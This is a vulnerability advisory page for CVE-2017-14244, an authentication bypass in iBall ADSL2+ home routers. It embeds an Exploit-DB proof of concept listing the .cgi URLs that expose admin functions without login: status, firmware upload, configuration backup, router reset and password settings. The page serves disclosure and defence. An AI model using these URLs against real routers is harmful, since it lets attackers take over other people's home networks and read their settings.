CVE-2017-14244

critical

Published 2017-09-17 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

An authentication bypass vulnerability on iBall Baton ADSL2+ Home Router FW_iB-LR7011A_1.0.2 devices potentially allows attackers to directly access administrative router settings by crafting URLs with a .cgi extension, as demonstrated by /info.cgi and /password.cgi.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42740 webapps hardware text · 2 KB

Gem George · 2017-09-18

iBall ADSL2+ Home Router - Authentication Bypass

text exploit Source: Exploit-DB

# Exploit Title: iBall ADSL2+ Home Router Authentication Bypass Vulnerability
# CVE: CVE-2017-14244
# Date: 15-09-2017
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: iBall ADSL2+ Home Router WRA150N https://www.iball.co.in/Product/ADSL2--Home-Router/746
# Firmware version: FW_iB-LR7011A_1.0.2
# Vendor Homepage: https://www.iball.co.in
# Reference: https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass


Vulnerability Details
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iBall ADSL2+ Home Router does not properly authenticate when pages are accessed through cgi version. This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, downloading backup configuration, upload backup etc.

How to reproduce
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Suppose 192.168.1.1 is the router IP and one of the valid page in router is is  http://192.168.1.1/abcd.html, then the page can be directly accessed as as http://192.168.1.1/abcd.cgi

Example URLs:
* http://192.168.1.1/info.cgi – Status and details
* http://192.168.1.1/upload.cgi – Firmware Upgrade
* http://192.168.1.1/backupsettings.cgi – perform backup settings to PC
* http://192.168.1.1/pppoe.cgi – PPPoE settings
* http://192.168.1.1/resetrouter.cgi – Router reset
* http://192.168.1.1/password.cgi – password settings

POC
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* https://www.youtube.com/watch?v=_SvrwCSdn54


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References

CWEs

CWE-425

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.